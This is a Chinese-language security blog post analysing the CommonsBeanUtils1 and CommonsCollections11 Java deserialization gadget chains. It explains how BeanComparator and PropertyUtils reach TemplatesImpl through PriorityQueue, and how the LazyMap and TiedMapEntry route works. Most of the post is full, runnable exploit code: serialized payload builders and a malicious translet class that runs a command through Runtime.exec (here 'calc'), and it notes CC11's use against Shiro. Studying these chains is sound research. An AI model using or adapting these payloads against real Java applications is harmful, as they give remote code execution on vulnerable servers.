CC11&CommonsBeanUtils1链子分析

CC11&CommonsBeanUtils1链子分析

CommonsBeanUtils1 链

这个链子和以往的链子还是有很多地方不同的,值得详细分析一下。

关于JavaBean概念介绍:https://liaoxuefeng.com/books/java/oop/core/javabean/index.html

总结就是JavaBean是一种符合命名规范的class,它通过getter和setter来定义属性

Commons-BeanUtils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法,示例如下

package org.example;

public class Person {
    public String name="Harder";

    public String getName()
    {
        return name;
    }

    public void setName(String name){
        this.name = name;
    }

}
package org.example;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class cb {

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        System.out.println(PropertyUtils.getProperty(new Person(), "name"));

    }
}

此时,Commons-BeanUtils 会自动找到 name 属性的getter 方法,也就是 getName ,然后调用并获得返回值。这个形式就很自然得想到能任意函数调用。

我们现在来跟着链子走一遍,分析过cc2或者cc4应该知道下面代码为什么能够触发rce

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cb {

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templateClass  = templates.getClass();
        Field _name = templateClass.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"Harder");
        Field _bytecodes = templateClass.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);

        byte[] evil = Files.readAllBytes(Paths.get("E:\\CTF_java\\Yaml\\target\\classes\\org\\example\\Calc_Templ.class"));
        byte[][] codes = {evil};
        _bytecodes.set(templates,codes);
        Field _tfactory = templateClass.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();

    }
}

那我们今天用Bean的方式加载

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class cb {

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templateClass  = templates.getClass();
        Field _name = templateClass.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"Harder");
        Field _bytecodes = templateClass.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);

        byte[] evil = Files.readAllBytes(Paths.get("E:\\CTF_java\\Yaml\\target\\classes\\org\\example\\Calc_Templ.class"));
        byte[][] codes = {evil};
        _bytecodes.set(templates,codes);
        Field _tfactory = templateClass.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates,new TransformerFactoryImpl());
        System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));

    }
}

为什么这样可以呢,我们刚刚举例说明了PropertyUtils.getProperty这个会调用其getter方法,我们相当于调用了TemplatesImpl类的getOutputProperties方法。而在这个函数里面其实调用了newTransformer。我们之前都是用的InvokeTransfrom方法来反射调用newTransformer,然后触发tranform,今天这个cb依赖又添加了一种入口

后续就是cb依赖调用栈的问题了,哪里调用了PropertyUtils.getProperty:

最后compare回到我们的cc2和cc4利用队列比较来触发compare函数,保证x值是template就行,也就是queue的值

PriorityQueue#readObject=>PriorityQueue#heapify=>PriorityQueue#siftDown=>PriorityQueue#siftDownUsingComparator=>compare

最终payload:

  • 此处我们需要控制在它序列化的时候不弹出计算器,在反序列化的时候弹出计算器,于是通过反射修改值。

先将 queue.add 赋一个无关痛痒的常量,再通过反射修改值即可,伪代码如下

        queue.add(1);
        queue.add(1);  // 给queue数组添加值

        Class q = queue.getClass();
        Field queue1 = q.getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{templates,templates});

最终payload:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cb {

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, TransformerConfigurationException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templateClass  = templates.getClass();
        Field _name = templateClass.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"Harder");
        Field _bytecodes = templateClass.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);

        byte[] evil = Files.readAllBytes(Paths.get("E:\\CTF_java\\Yaml\\target\\classes\\org\\example\\Calc_Templ.class"));
        byte[][] codes = {evil};
        _bytecodes.set(templates,codes);
        Field _tfactory = templateClass.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates,new TransformerFactoryImpl());

        final BeanComparator beanComparator = new BeanComparator();


        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add(1);
        queue.add(1);  // 给queue数组添加值

        Class beanComparatorClass = beanComparator.getClass();
        Field property =beanComparatorClass.getDeclaredField("property");
        property.setAccessible(true);
        property.set(beanComparator,"outputProperties");  // 

        Class q = queue.getClass();
        Field queue1 = q.getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue,new Object[]{templates,templates});

        serialize(queue);
        unserialize("ser-cb.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser-cb.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这个反射一定要放到queue.add后面,不然序列化反序列化不成功

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc_Templ extends AbstractTranslet {

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

cc11

  • CommonsCollections 3.1-3.2.1
  • jdk 版本无限制,我这里用的是 jdk8u65 的
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.bytecode.Bytecode;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main11 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class templateClass = templates.getClass();
        Field _name = templateClass.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(templates,"Harder");
        Field _bytecodes = templateClass.getDeclaredField("_bytecodes");
        _bytecodes.setAccessible(true);
        byte[] evil = Files.readAllBytes(Paths.get("E:\\CTF_java\\Yaml\\target\\classes\\org\\example\\Calc_Templ.class"));
        byte[][] codes = {evil};
        _bytecodes.set(templates,codes);
        Field _tfactory = templateClass.getDeclaredField("_tfactory");
        _tfactory.setAccessible(true);
        _tfactory.set(templates,new TransformerFactoryImpl());

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        HashMap<Object, Object> hashMap = new HashMap<>();
//        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
        HashMap<Object, Object> expMap = new HashMap<>();
        expMap.put(tiedMapEntry, "value");
        lazyMap.remove(templates);
        Class lazymap =  lazyMap.getClass();
        Field factory = lazymap.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazyMap,invokerTransformer);

        serialize(expMap);
        unserialize("ser11.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser11.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc_Templ extends AbstractTranslet {

    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

cc11给我的感觉其实和CC链子都差不多,都一样。只是在这里shiro反序列化,不允许数组,所以shiro用的比较多这条链子